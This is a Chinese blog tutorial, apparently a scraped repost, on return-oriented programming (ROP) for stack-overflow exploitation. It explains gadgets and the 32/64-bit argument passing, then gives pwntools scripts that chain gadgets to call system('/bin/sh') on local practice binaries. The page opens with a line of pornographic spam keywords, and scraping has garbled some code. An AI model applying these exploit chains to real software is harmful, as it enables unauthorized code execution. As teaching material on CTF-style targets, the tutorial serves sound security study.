日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP

發布時間:2025/3/15 linux 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

8種機械鍵盤軸體對比

本人程序員,要買一個寫代碼的鍵盤,請問紅軸和茶軸怎么選?

這篇鴿了挺久的,補一下吧

簡單介紹ROP

首先先來說下什么是ROP

ROP是Return Oriented Programming 的縮寫

翻譯過來就是面向返回的編程

你可能會問,我們不是利用棧溢出漏洞么,怎么又扯到編程了?

其實ROP就是另外一種意義上的編程,其核心在于利用了指令集中的 ret 指令,改變了指令流的執行順序。ROP 攻擊一般得滿足如下條件程序存在溢出,并且可以控制返回地址。

可以找到滿足條件的 gadgets 以及相應 gadgets 的地址。

這里的gadgets是類似下面的代碼片段

這里用32位的程序作為示例,所以我們先講32位的ROP,然后再講64位的ROP,兩者其實相差不大

這些gadgets一般遵循以下的形式1

2

3xxx

xxx

ret

例如1

2pop ebp

ret

1

2int 80h

ret

反正就是一堆指令后面跟著ret

但是比較常見和常用的就是1

2pop xxx

ret

這一類的gadget

但是其實在32位的ROP中是比較少用gadget的

這里又扯一下函數參數的傳遞方式32位

我們舉一個例子吧,在上一章的示例程序中也可以找到對應的代碼1read(0,buf,0x100)

這一句代碼,對應的匯編是1

2

3

4

5.text:08048484 push 100h ; nbytes

.text:08048489 lea eax, [ebp+buf]

.text:0804848C push eax ; buf

.text:0804848D push 0 ; fd

.text:0804848F call _read

可以看到參數是從右到左入棧,先push 0x100,再push buf,最后push 0

所以例如1my_fun(0,1,2,3,4,5,6)

對應的匯編就是1

2

3

4

5

6

7

8push 6

push 5

push 4

push 3

push 2

push 1

push 0

call my_fun

64位

同樣是那一行代碼1read(0,buf,0x100)

對應的64位匯編是1

2

3

4

5lea rax, [rbp+buf]

mov edx, 100h ; nbytes

mov rsi, rax ; buf

mov edi, 0 ; fd

call _read

而1my_fun(0,1,2,3,4,5,6)

就變成1

2

3

4

5

6

7

8push 6

mov r9d, 5

mov r8d, 4

mov ecx, 3

mov edx, 2

mov esi, 1

mov edi, 0

call my_fun

可以看到函數的前6個參數都會放到寄存器里面,從左到右對應的是1rdi, rsi, rdx, rcx, r8d, r9d

如果還有更多參數的話,就會通過棧來傳遞

32位程序實戰

接下來結合實例來講一下吧

還是用上一章那個程序

假如現在我們不直接跳到backdoor函數,而是通過ROP來調用1system("/bin/sh")

布置好的棧如下

對應的payload是1

2

3

4

5

6

7

8

9

10

11

12

13

14

15from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

system=0x8048340

binsh=0x8048577

p.send('a'*13+p32(system)+p32(0xdeadbeef)+p32(binsh))

p.interactive()

接下來講解一下為什么這樣布置棧

我們在0x8048499 處下一個斷點

用1x /10xw $esp

查看棧的情況

1

2

30x08048340 -> system

0xdeadbeef -> retaddr

0x08048577 -> /bin/sh字符串的地址

你可能想問,這里為什么突然多了retaddr這個東西了呢?

我們來回顧一下正常調用1system("/bin/sh")

對應的匯編是1

2push binsh_addr

call system

關鍵就在1call system

這句匯編其實等價于1

2push eip+5

jmp system

因為call指令一波都是5個字節的長度,所以這里保存的是下一條指令的地址

而我們棧溢出控制rip,其實就相等于1jmp system

少了保存地址,所以我們要填一個返回地址給它

但是調用system(“/bin/sh”)之后就get shell了,返回地址是什么其實沒有什么所謂,所以填0xdeadbeef也行

接下來加大一點難度

假設程序里面沒有/bin/sh這個字符串,我們要調用read讀/bin/sh到bss段

布置好的棧如下

payload如下1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

#gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

read=0x8048320

system=0x8048340

binsh=0x8048577

pop3ret=0x8048539

bss=0x804A024

payload='a'*13+p32(read)+p32(pop3ret)+p32(0)+p32(bss)+p32(0x100)

payload+=p32(system)+p32(0xdeadbeef)+p32(bss)

p.send(payload)

sleep(1)

p.sendline('/bin/shx00')

p.interactive()

這里如果要調試的話,最好把1sleep(1)

換成1raw_input()

這樣比較好調

這里1pop3ret

作用是改變棧,讓棧指針指向system

64位程序實戰

64位的其實和32位的大同小異,區別就在于傳遞參數那里

這里給下示例程序

然后給下payload,因為差不多,所以就不詳細解釋了1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17from pwn import *

p=process('./pwn_level1_64')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

prdi=0x400663

binsh=0x400684

system=0x400480

payload='a'*9+p64(prdi)+p64(binsh)+p64(system)

p.send(payload)

p.interactive()

但是因為程序沒有1pop rdx

這個gadget,所以在這個程序比較難控制第三個參數,也就比較難調用1read(0,buf,0x100)

比較難不代表不行,之后會介紹一個萬能gadget,能夠控制rdx的

總結

以上是生活随笔為你收集整理的Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。